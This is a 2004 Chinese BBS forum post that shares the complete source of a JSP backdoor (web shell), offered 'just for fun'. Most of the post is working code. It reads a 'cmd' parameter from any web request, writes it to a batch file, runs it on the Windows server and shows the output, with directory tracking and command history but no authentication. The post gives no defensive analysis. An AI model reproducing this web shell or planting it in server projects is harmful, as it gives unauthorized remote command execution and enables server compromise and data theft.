计算机科学论坛--一个jsp后门

● 一个jsp后门发信人: kobe2000 (每一天), 信区: J2EE
标  题: 一个jsp后门
发信站: BBS 水木清华站 (Fri Apr 23 17:19:11 2004), 站内

纯属好玩，请慎重使用。

<%@ page import="java.util.Map,
                 java.util.HashMap,
                 java.util.List,
                 java.util.ArrayList,
                 java.io.*"%>
<%@ page contentType="text/html; charset=GBK" %>
<%!
  Map fullpath = new HashMap();
  String disk = "C";
%>
<%
  if(fullpath.size()==0) fullpath.put("C", "\\");
  request.setCharacterEncoding("GBK");
  String cmd = request.getParameter("cmd");
  StringBuffer sbin = new StringBuffer(), sbein = new StringBuffer();
  String e = null;
  if(cmd!=null) {
    File bat = new File("bat.bat");
    try {
      PrintWriter pout = new PrintWriter(new FileWriter(bat));
      pout.println("@echo off");
      pout.println(disk + ":");
      pout.println("cd " + fullpath.get(disk));
      pout.println("@echo on");
      pout.println(cmd);
      pout.flush();
      pout.close();
      Process p = Runtime.getRuntime().exec("bat.bat");
      BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStr
eam()));
      BufferedReader ein = new BufferedReader(new InputStreamReader(p.getErrorSt
ream()));
      String s = null;
      while((s=in.readLine())!=null) sbin.append(s.replaceAll("<", "&lt;").repla
ceAll(">", "&gt;").replaceAll("\\\t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;&nbsp;").replaceAll(" ", "&nbsp;")+"<br>");
      while((s=ein.readLine())!=null) sbein.append(s.replaceAll("<", "&lt;").rep
laceAll(">", "&gt;")+"<br>");

      if(cmd.length()==2 && cmd.charAt(1)==':' && sbein.length()==0) {
        disk = cmd.substring(0,1).toUpperCase();
        if(fullpath.get(disk)==null) fullpath.put(disk, "\\");
      } else if(cmd.length()>3 && cmd.substring(0, 3).toUpperCase().equals("CD "
) && sbein.length()==0) {
        String path = cmd.substring(3, cmd.length());
        String oldpath = (String)fullpath.get(disk);
        if(path.equals("..")) {
          if(!oldpath.equals("\\")) {
            path = oldpath.substring(0, oldpath.lastIndexOf("\\"));
            if(path.length()==0) path = "\\";
          } else
            path = oldpath;
        } else if(!path.startsWith("\\")) {
          while(path.endsWith("\\") || path.endsWith("//")) path = path.substrin
g(0, path.length()-1);
          if(oldpath.equals("\\"))
            path = "\\" + path;
          else
            path = oldpath + "\\" + path;
        }
        fullpath.put(disk, path);
      }

      if(sbein.length()==0) {
        if(session.getAttribute("history")==null) session.setAttribute("history"
, new ArrayList());
        List list = (List)session.getAttribute("history");
        if(!list.contains(cmd)) list.add(cmd);
      }
    } catch(Exception ex) {
      e = ex.getMessage();
    } finally {
      bat.delete();
    }
  }
%>
<html><body>
<form method="post">
<%=disk+":"+fullpath.get(disk)%>&gt;<input name="cmd" size="30"<%=cmd==null?"":"
value='" +cmd + "'"%> onkeydown="getHistory()"><br>
</form>
<script>
document.all("cmd").select();
<%
    List list = (List)session.getAttribute("history");
    StringBuffer sb = new StringBuffer();
    if(list!=null) {
      for(int i=0; i<list.size(); i++)
        sb.append("\""+((String)list.get(i)).replaceAll("\\\\", "\\\\\\\\").repl
aceAll("\"", "\\\\\"")+ "\", ");
      if(sb.length()>0) sb.replace(sb.length()-2, sb.length(), "");
    }
%>
var history = [<%=sb%>];
var sel = history.length;
function getHistory() {
  if(history.length==0) return;
  if(event.keyCode==38) {
    sel--;
    if(sel<0) sel = history.length-1;
    document.all("cmd").value = history[sel];
    document.all("cmd").select();
  } else if(event.keyCode==40) {
    sel++;
    document.all("cmd").value = history[sel];
    document.all("cmd").select();
  }
}
</script>
<hr>
<%
  if(e==null) {
    out.println(sbin.toString()+sbein.toString());
  } else {%>
'<%=cmd%>' 不是内部或外部命令，也不是可运行的程序或批处理文件。
<%}%>
</body></html>※ 修改:·kobe2000 於 Apr 23 17:33:19 2004 修改本文·[FROM: 61.149
※ 来源:·BBS 水木清华站 http://smth.org·[FROM: 61.149.216.*]


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